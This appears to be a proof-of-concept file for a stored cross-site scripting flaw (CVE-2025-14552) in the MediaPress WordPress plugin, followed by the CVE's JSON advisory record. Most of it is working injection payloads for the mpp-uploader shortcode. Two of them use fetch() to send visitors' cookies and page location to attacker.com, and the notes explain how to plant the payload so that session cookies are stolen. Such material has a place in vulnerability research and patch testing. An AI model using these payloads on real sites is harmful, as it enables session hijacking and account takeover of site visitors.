CVE-2025-14552

<!-- WordPress MediaPress Stored XSS PoC (CVE-2025-14552) --> <!-- Requires Contributor-level access or higher --> <!-- Basic XSS PoC via mpp-uploader shortcode attribute --> [mpp-uploader gallery_id='1" onmouseover="alert(document.cookie)" x="'] <!-- Alternative PoC using event handler --> [mpp-uploader gallery_id='1'><img src=x onerror=alert(String.fromCharCode(88,83,83))>] <!-- PoC with script tag injection --> [mpp-uploader gallery_id='1"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>'] <!-- PoC using data URI --> [mpp-uploader gallery_id='1" style="background-image:url(javascript:alert('XSS'))"> <!-- PoC for cookie stealing and exfiltration --> [mpp-uploader gallery_id='1" onload="fetch('https://attacker.com/log?cookie='+document.cookie+'&local='+document.location)"> <!-- Notes: 1. Insert this shortcode into any WordPress post/page content 2. When other users visit the page, the XSS payload will execute 3. Attacker can steal session cookies, perform actions as the victim 4. Contributor role has permission to create/edit posts with shortcodes -->

{"cve": {"id": "CVE-2025-14552", "sourceIdentifier": "[email protected]", "published": "2026-01-06T10:15:48.117", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MediaPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's mpp-uploader shortcode in all versions up to, and including, 1.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin MediaPress para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode mpp-uploader del plugin en todas las versiones hasta la 1.6.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mediapress/tags/1.6.1/core/gallery/mpp-gallery-template-tags.php#L665", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/82b5ade8-582e-4440-b043-d30e757c9467?source=cve", "source": "[email protected]"}]}}